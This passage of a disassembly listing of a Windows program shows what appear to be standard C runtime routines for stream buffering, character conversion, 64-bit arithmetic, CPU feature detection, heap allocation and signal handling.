sub_4177B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177BC	proc near		; CODE XREF: sub_410CB6+9Cp
					; sub_413F5D+58p ...

arg_0		= dword	ptr  4

		inc	dword_426028
		push	1000h
		call	sub_411E8A
		test	eax, eax
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx+8], eax
		jz	short loc_4177E5
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_4177F6
; ---------------------------------------------------------------------------

loc_4177E5:				; CODE XREF: sub_4177BC+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_4177F6:				; CODE XREF: sub_4177BC+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4177BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_417800	proc near		; CODE XREF: sub_410CB6+91p
					; sub_4129EF+Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_417817
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_417817:				; CODE XREF: sub_417800+7j
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jl	short loc_417826
		cmp	eax, dword_433CD8
		jb	short loc_417842

loc_417826:				; CODE XREF: sub_417800+1Cj
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 9
		call	sub_40D31E
		add	esp, 14h
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_417842:				; CODE XREF: sub_417800+24j
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_433CE0[ecx*4]
		movzx	eax, byte ptr [ecx+eax+4]
		and	eax, 40h
		pop	esi
		retn
sub_417800	endp


; =============== S U B	R O U T	I N E =======================================



sub_41785E	proc near		; CODE XREF: sub_4120C9:loc_4120ECp
		push	esi
		push	edi
		xor	edi, edi

loc_417862:				; CODE XREF: sub_41785E+1Aj
		lea	esi, off_423F60[edi]
		push	dword ptr [esi]
		call	sub_40F608
		add	edi, 4
		cmp	edi, 28h
		pop	ecx
		mov	[esi], eax
		jb	short loc_417862
		pop	edi
		pop	esi
		retn
sub_41785E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41787D	proc near		; CODE XREF: sub_410EB7+554p
		mov	eax, dword_423068
		or	eax, 1
		xor	ecx, ecx
		cmp	dword_426480, eax
		setz	cl
		mov	eax, ecx
		retn
sub_41787D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417893	proc near		; CODE XREF: sub_4179F2+12p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	edi, [ebp+arg_8]
		jnz	short loc_4178B9
		cmp	edi, ebx
		jbe	short loc_4178B9
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4178B5
		mov	[eax], ebx

loc_4178B5:				; CODE XREF: sub_417893+1Ej
					; sub_417893+ECj ...
		xor	eax, eax
		jmp	short loc_417938
; ---------------------------------------------------------------------------

loc_4178B9:				; CODE XREF: sub_417893+13j
					; sub_417893+17j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4178C3
		or	dword ptr [eax], 0FFFFFFFFh

loc_4178C3:				; CODE XREF: sub_417893+2Bj
		cmp	edi, 7FFFFFFFh
		jbe	short loc_4178E6
		call	sub_40FCB4
		push	16h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40D31E
		add	esp, 14h

loc_4178E2:				; CODE XREF: sub_417893+CCj
					; sub_417893+D5j
		mov	eax, esi
		jmp	short loc_417938
; ---------------------------------------------------------------------------

loc_4178E6:				; CODE XREF: sub_417893+36j
		push	[ebp+arg_10]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	loc_417991
		mov	ax, [ebp+arg_C]
		cmp	ax, 0FFh
		jbe	short loc_41793D
		cmp	esi, ebx
		jz	short loc_41791A
		cmp	edi, ebx
		jbe	short loc_41791A
		push	edi
		push	ebx
		push	esi
		call	sub_40CBA0
		add	esp, 0Ch

loc_41791A:				; CODE XREF: sub_417893+76j
					; sub_417893+7Aj ...
		call	sub_40FCB4
		mov	dword ptr [eax], 2Ah
		call	sub_40FCB4
		cmp	[ebp+var_4], bl
		mov	eax, [eax]
		jz	short loc_417938
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_417938:				; CODE XREF: sub_417893+24j
					; sub_417893+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41793D:				; CODE XREF: sub_417893+72j
		cmp	esi, ebx
		jz	short loc_41796F
		cmp	edi, ebx
		ja	short loc_41796D

loc_417945:				; CODE XREF: sub_417893+141j
					; sub_417893+149j ...
		call	sub_40FCB4
		push	22h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_4178E2
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh
		jmp	loc_4178E2
; ---------------------------------------------------------------------------

loc_41796D:				; CODE XREF: sub_417893+B0j
		mov	[esi], al

loc_41796F:				; CODE XREF: sub_417893+ACj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41797C
		mov	dword ptr [eax], 1

loc_41797C:				; CODE XREF: sub_417893+E1j
					; sub_417893+12Aj ...
		cmp	[ebp+var_4], bl
		jz	loc_4178B5
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh
		jmp	loc_4178B5
; ---------------------------------------------------------------------------

loc_417991:				; CODE XREF: sub_417893+64j
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	ebx
		push	edi
		push	esi
		push	1
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	ebx
		mov	[ebp+arg_4], ebx
		push	dword ptr [eax+4]
		call	ds:dword_41E138	; WideCharToMultiByte
		cmp	eax, ebx
		jz	short loc_4179C3
		cmp	[ebp+arg_4], ebx
		jnz	loc_41791A
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41797C
		mov	[ecx], eax
		jmp	short loc_41797C
; ---------------------------------------------------------------------------

loc_4179C3:				; CODE XREF: sub_417893+11Aj
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jnz	loc_41791A
		cmp	esi, ebx
		jz	loc_417945
		cmp	edi, ebx
		jbe	loc_417945
		push	edi
		push	ebx
		push	esi
		call	sub_40CBA0
		add	esp, 0Ch
		jmp	loc_417945
sub_417893	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179F2	proc near		; CODE XREF: sub_410EB7+487p
					; sub_410EB7+8B1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	0
		push	[esp+4+arg_C]
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_417893
		add	esp, 14h
		retn
sub_4179F2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417A10	proc near		; CODE XREF: sub_410EB7+786p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417A41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_417A88
; ---------------------------------------------------------------------------

loc_417A41:				; CODE XREF: sub_417A10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_417A4F:				; CODE XREF: sub_417A10+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_417A4F
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_417A7D
		cmp	edx, [esp+4+arg_4]
		ja	short loc_417A7D
		jb	short loc_417A86
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_417A86

loc_417A7D:				; CODE XREF: sub_417A10+5Dj
					; sub_417A10+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_417A86:				; CODE XREF: sub_417A10+65j
					; sub_417A10+6Bj
		xor	ebx, ebx

loc_417A88:				; CODE XREF: sub_417A10+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_417A10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA5	proc near		; CODE XREF: sub_417AF5+4Dp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_421EB8
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		movapd	xmm0, xmm1
		mov	[ebp+var_1C], 1
		jmp	short loc_417AE5
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0C0000005h
		jz	short loc_417ADA
		cmp	eax, 0C000001Dh
		jz	short loc_417ADA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_417ADA:				; CODE XREF: sub_417AA5+29j
					; sub_417AA5+30j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+var_1C], 0

loc_417AE5:				; CODE XREF: sub_417AA5+1Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_417AA5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AF5	proc near		; CODE XREF: sub_411935+7p sub_417B55p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		xor	eax, eax
		push	ebx
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		push	ebx
		pushf
		pop	eax
		mov	ecx, eax
		xor	eax, 200000h
		push	eax
		popf
		pushf
		pop	edx
		sub	edx, ecx
		jz	short loc_417B38
		push	ecx
		popf
		xor	eax, eax
		cpuid
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	eax, 1
		cpuid
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax

loc_417B38:				; CODE XREF: sub_417AF5+22j
		pop	ebx
		test	[ebp+var_4], 4000000h
		jz	short loc_417B50
		call	sub_417AA5
		test	eax, eax
		jz	short loc_417B50
		xor	eax, eax
		inc	eax
		jmp	short loc_417B52
; ---------------------------------------------------------------------------

loc_417B50:				; CODE XREF: sub_417AF5+4Bj
					; sub_417AF5+54j
		xor	eax, eax

loc_417B52:				; CODE XREF: sub_417AF5+59j
		pop	ebx
		leave
		retn
sub_417AF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B55	proc near		; DATA XREF: ev73vtp2:0041E2C8o
		call	sub_417AF5
		mov	dword_434E20, eax
		xor	eax, eax
		retn
sub_417B55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B62	proc near		; CODE XREF: sub_411ECA+Ep

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00417C67 SIZE 00000019 BYTES

		push	0Ch
		push	offset dword_421ED8
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		xor	edi, edi
		cmp	ecx, edi
		jbe	short loc_417BA5
		push	0FFFFFFE0h
		pop	eax
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_4]
		sbb	eax, eax
		inc	eax
		jnz	short loc_417BA5
		call	sub_40FCB4
		mov	dword ptr [eax], 0Ch
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h

loc_417B9E:				; CODE XREF: sub_417B62+E6j
					; sub_417B62+F2j
		xor	eax, eax
		jmp	loc_417C7A
; ---------------------------------------------------------------------------

loc_417BA5:				; CODE XREF: sub_417B62+13j
					; sub_417B62+22j
		imul	ecx, [ebp+arg_4]
		mov	esi, ecx
		mov	[ebp+arg_0], esi
		cmp	esi, edi
		jnz	short loc_417BB5
		xor	esi, esi
		inc	esi

loc_417BB5:				; CODE XREF: sub_417B62+4Ej
					; sub_417B62+DBj
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	short loc_417C28
		cmp	dword_434E3C, 3
		jnz	short loc_417C13
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_434E2C
		ja	short loc_417C13
		push	4
		call	sub_40FED7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_0]
		call	sub_4107D9
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_417C5E
		mov	ebx, [ebp+var_1C]
		cmp	ebx, edi
		jz	short loc_417C17
		push	[ebp+arg_0]
		push	edi
		push	ebx
		call	sub_40CBA0
		add	esp, 0Ch

loc_417C13:				; CODE XREF: sub_417B62+64j
					; sub_417B62+78j
		cmp	ebx, edi
		jnz	short loc_417C78

loc_417C17:				; CODE XREF: sub_417B62+A2j
		push	esi
		push	8
		push	dword_425FC8
		call	ds:dword_41E114	; RtlAllocateHeap
		mov	ebx, eax

loc_417C28:				; CODE XREF: sub_417B62+5Bj
		cmp	ebx, edi
		jnz	short loc_417C78
		cmp	dword_42634C, edi
		jz	short loc_417C67
		push	esi
		call	sub_412337
		pop	ecx
		test	eax, eax
		jnz	loc_417BB5
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	loc_417B9E
		mov	dword ptr [eax], 0Ch
		jmp	loc_417B9E
sub_417B62	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C59	proc near		; DATA XREF: ev73vtp2:00421EF0o
		xor	edi, edi
		mov	esi, [ebp+0Ch]
sub_417C59	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417C5E	proc near		; CODE XREF: sub_417B62+98p
		push	4
		call	sub_40FDFF
		pop	ecx
		retn
sub_417C5E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417B62

loc_417C67:				; CODE XREF: sub_417B62+D0j
		cmp	ebx, edi
		jnz	short loc_417C78
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	short loc_417C78
		mov	dword ptr [eax], 0Ch

loc_417C78:				; CODE XREF: sub_417B62+B3j
					; sub_417B62+C8j ...
		mov	eax, ebx

loc_417C7A:				; CODE XREF: sub_417B62+3Ej
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_417B62

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C80	proc near		; CODE XREF: sub_411F12+Cp
					; sub_417E9B+3Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00417DCD SIZE 000000CE BYTES

		push	10h
		push	offset dword_421EF8
		call	__SEH_prolog4
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_417CA1
		push	[ebp+arg_4]
		call	sub_40DC83
		pop	ecx
		jmp	loc_417E6D
; ---------------------------------------------------------------------------

loc_417CA1:				; CODE XREF: sub_417C80+11j
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_417CB4
		push	ebx
		call	sub_40DBA6
		pop	ecx
		jmp	loc_417E6B
; ---------------------------------------------------------------------------

loc_417CB4:				; CODE XREF: sub_417C80+26j
		cmp	dword_434E3C, 3
		jnz	loc_417E54

loc_417CC1:				; CODE XREF: sub_417C80+169j
		xor	edi, edi
		mov	[ebp+var_1C], edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_417E59
		push	4
		call	sub_40FED7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_410005
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	loc_417D8A
		cmp	esi, dword_434E2C
		ja	short loc_417D3D
		push	esi
		push	ebx
		push	eax
		call	sub_4104FA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417D08
		mov	[ebp+var_1C], ebx
		jmp	short loc_417D3D
; ---------------------------------------------------------------------------

loc_417D08:				; CODE XREF: sub_417C80+81j
		push	esi
		call	sub_4107D9
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_417D3D
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_417D20
		mov	eax, esi

loc_417D20:				; CODE XREF: sub_417C80+9Cj
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_40CC20
		push	ebx
		call	sub_410005
		mov	[ebp+var_20], eax
		push	ebx
		push	eax
		call	sub_410030
		add	esp, 18h

loc_417D3D:				; CODE XREF: sub_417C80+72j
					; sub_417C80+86j ...
		cmp	[ebp+var_1C], edi
		jnz	short loc_417D8A
		cmp	esi, edi
		jnz	short loc_417D4C
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi

loc_417D4C:				; CODE XREF: sub_417C80+C4j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	dword_425FC8
		call	ds:dword_41E114	; RtlAllocateHeap
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_417D8A
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_417D74
		mov	eax, esi

loc_417D74:				; CODE XREF: sub_417C80+F0j
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_40CC20
		push	ebx
		push	[ebp+var_20]
		call	sub_410030
		add	esp, 14h

loc_417D8A:				; CODE XREF: sub_417C80+66j
					; sub_417C80+C0j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_417DC4
		cmp	[ebp+var_20], 0
		jnz	short loc_417DCD
		test	esi, esi
		jnz	short loc_417DA1
		inc	esi

loc_417DA1:				; CODE XREF: sub_417C80+11Ej
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	0
		push	dword_425FC8
		call	ds:off_41E154
		mov	edi, eax
		jmp	short loc_417DD0
sub_417C80	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DBE	proc near		; DATA XREF: ev73vtp2:00421F10o
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+8]
sub_417DBE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417DC4	proc near		; CODE XREF: sub_417C80+111p
		push	4
		call	sub_40FDFF
		pop	ecx
		retn
sub_417DC4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417C80

loc_417DCD:				; CODE XREF: sub_417C80+11Aj
		mov	edi, [ebp+var_1C]

loc_417DD0:				; CODE XREF: sub_417C80+13Cj
		test	edi, edi
		jnz	loc_417E97
		cmp	dword_42634C, edi
		jz	short loc_417E0C
		push	esi
		call	sub_412337
		pop	ecx
		test	eax, eax
		jnz	loc_417CC1
		call	sub_40FCB4
		cmp	[ebp+var_20], edi
		jnz	short loc_417E65

loc_417DF9:				; CODE XREF: sub_417C80+1F8j
		mov	esi, eax
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		push	eax
		call	sub_40FC79
		pop	ecx
		mov	[esi], eax
		jmp	short loc_417E6B
; ---------------------------------------------------------------------------

loc_417E0C:				; CODE XREF: sub_417C80+15Ej
		test	edi, edi
		jnz	loc_417E97
		call	sub_40FCB4
		cmp	[ebp+var_20], edi
		jz	short loc_417E86
		mov	dword ptr [eax], 0Ch
		jmp	short loc_417E97
; ---------------------------------------------------------------------------

loc_417E26:				; CODE XREF: sub_417C80+1D7j
		test	esi, esi
		jnz	short loc_417E2B
		inc	esi

loc_417E2B:				; CODE XREF: sub_417C80+1A8j
		push	esi
		push	ebx
		push	0
		push	dword_425FC8
		call	ds:off_41E154
		mov	edi, eax
		test	edi, edi
		jnz	short loc_417E97
		cmp	dword_42634C, eax
		jz	short loc_417E7D
		push	esi
		call	sub_412337
		pop	ecx
		test	eax, eax
		jz	short loc_417E73

loc_417E54:				; CODE XREF: sub_417C80+3Bj
		cmp	esi, 0FFFFFFE0h
		jbe	short loc_417E26

loc_417E59:				; CODE XREF: sub_417C80+49j
		push	esi
		call	sub_412337
		pop	ecx
		call	sub_40FCB4

loc_417E65:				; CODE XREF: sub_417C80+177j
		mov	dword ptr [eax], 0Ch

loc_417E6B:				; CODE XREF: sub_417C80+2Fj
					; sub_417C80+18Aj
		xor	eax, eax

loc_417E6D:				; CODE XREF: sub_417C80+1Cj
					; sub_417C80+219j
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_417E73:				; CODE XREF: sub_417C80+1D2j
		call	sub_40FCB4
		jmp	loc_417DF9
; ---------------------------------------------------------------------------

loc_417E7D:				; CODE XREF: sub_417C80+1C7j
		test	edi, edi
		jnz	short loc_417E97
		call	sub_40FCB4

loc_417E86:				; CODE XREF: sub_417C80+19Cj
		mov	esi, eax
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		push	eax
		call	sub_40FC79
		mov	[esi], eax
		pop	ecx

loc_417E97:				; CODE XREF: sub_417C80+152j
					; sub_417C80+18Ej ...
		mov	eax, edi
		jmp	short loc_417E6D
; END OF FUNCTION CHUNK	FOR sub_417C80

; =============== S U B	R O U T	I N E =======================================



sub_417E9B	proc near		; CODE XREF: sub_411F5D+10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jbe	short loc_417ECF
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ecx
		cmp	eax, [esp+4+arg_8]
		jnb	short loc_417ECF
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 0Ch
		call	sub_40D31E
		add	esp, 14h
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_417ECF:				; CODE XREF: sub_417E9B+9j
					; sub_417E9B+16j
		imul	ecx, [esp+4+arg_8]
		push	ecx
		push	[esp+8+arg_0]
		call	sub_417C80
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_417E9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417EE2	proc near		; CODE XREF: sub_412269+27p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_426484, eax
		mov	dword_426488, eax
		mov	dword_42648C, eax
		mov	dword_426490, eax
		retn
sub_417EE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417EFB	proc near		; CODE XREF: sub_417F3C+5Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_423E24
		push	esi

loc_417F06:				; CODE XREF: sub_417EFB+1Ej
		cmp	[eax+4], edx
		jz	short loc_417F1B
		mov	esi, ecx
		imul	esi, 0Ch
		add	esi, [esp+4+arg_0]
		add	eax, 0Ch
		cmp	eax, esi
		jb	short loc_417F06

loc_417F1B:				; CODE XREF: sub_417EFB+Ej
		imul	ecx, 0Ch
		add	ecx, [esp+4+arg_0]
		pop	esi
		cmp	eax, ecx
		jnb	short loc_417F2C
		cmp	[eax+4], edx
		jz	short locret_417F2E

loc_417F2C:				; CODE XREF: sub_417EFB+2Aj
		xor	eax, eax

locret_417F2E:				; CODE XREF: sub_417EFB+2Fj
		retn
sub_417EFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F2F	proc near		; CODE XREF: sub_41A231:loc_41A25Ep
		push	dword_42648C
		call	sub_40F674
		pop	ecx
		retn
sub_417F2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F3C	proc near		; CODE XREF: sub_41A231+38p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004180E6 SIZE 00000006 BYTES

		push	20h
		push	offset dword_421F18
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_28], edi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0Bh
		jg	short loc_417FA4
		jz	short loc_417F6F
		mov	eax, ebx
		push	2
		pop	ecx
		sub	eax, ecx
		jz	short loc_417F85
		sub	eax, ecx
		jz	short loc_417F6F
		sub	eax, ecx
		jz	short loc_417FCF
		sub	eax, ecx
		jnz	short loc_417FB3

loc_417F6F:				; CODE XREF: sub_417F3C+1Cj
					; sub_417F3C+29j
		call	sub_40F7FB
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jnz	short loc_417F91

loc_417F7D:				; CODE XREF: sub_417F3C+91j
		or	eax, 0FFFFFFFFh
		jmp	loc_4180E6
; ---------------------------------------------------------------------------

loc_417F85:				; CODE XREF: sub_417F3C+25j
		mov	esi, offset dword_426484
		mov	eax, dword_426484
		jmp	short loc_417FF1
; ---------------------------------------------------------------------------

loc_417F91:				; CODE XREF: sub_417F3C+3Fj
		push	dword ptr [edi+5Ch]
		mov	edx, ebx
		call	sub_417EFB
		mov	esi, eax
		add	esi, 8
		mov	eax, [esi]
		jmp	short loc_417FFE
; ---------------------------------------------------------------------------

loc_417FA4:				; CODE XREF: sub_417F3C+1Aj
		mov	eax, ebx
		sub	eax, 0Fh
		jz	short loc_417FE7
		sub	eax, 6
		jz	short loc_417FDB
		dec	eax
		jz	short loc_417FCF

loc_417FB3:				; CODE XREF: sub_417F3C+31j
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40D31E
		add	esp, 14h
		jmp	short loc_417F7D
; ---------------------------------------------------------------------------

loc_417FCF:				; CODE XREF: sub_417F3C+2Dj
					; sub_417F3C+75j
		mov	esi, offset dword_42648C
		mov	eax, dword_42648C
		jmp	short loc_417FF1
; ---------------------------------------------------------------------------

loc_417FDB:				; CODE XREF: sub_417F3C+72j
		mov	esi, offset dword_426488
		mov	eax, dword_426488
		jmp	short loc_417FF1
; ---------------------------------------------------------------------------

loc_417FE7:				; CODE XREF: sub_417F3C+6Dj
		mov	esi, offset dword_426490
		mov	eax, dword_426490

loc_417FF1:				; CODE XREF: sub_417F3C+53j
					; sub_417F3C+9Dj ...
		mov	[ebp+var_1C], 1
		push	eax
		call	sub_40F674

loc_417FFE:				; CODE XREF: sub_417F3C+66j
		mov	[ebp+var_20], eax
		pop	ecx
		xor	eax, eax
		cmp	[ebp+var_20], 1
		jz	loc_4180E6
		cmp	[ebp+var_20], eax
		jnz	short loc_41801A
		push	3
		call	sub_41223A

loc_41801A:				; CODE XREF: sub_417F3C+D5j
		cmp	[ebp+var_1C], eax
		jz	short loc_418026
		push	eax
		call	sub_40FED7
		pop	ecx

loc_418026:				; CODE XREF: sub_417F3C+E1j
		xor	eax, eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	ebx, 8
		jz	short loc_41803A
		cmp	ebx, 0Bh
		jz	short loc_41803A
		cmp	ebx, 4
		jnz	short loc_418055

loc_41803A:				; CODE XREF: sub_417F3C+F2j
					; sub_417F3C+F7j
		mov	ecx, [edi+60h]
		mov	[ebp+var_2C], ecx
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_418088
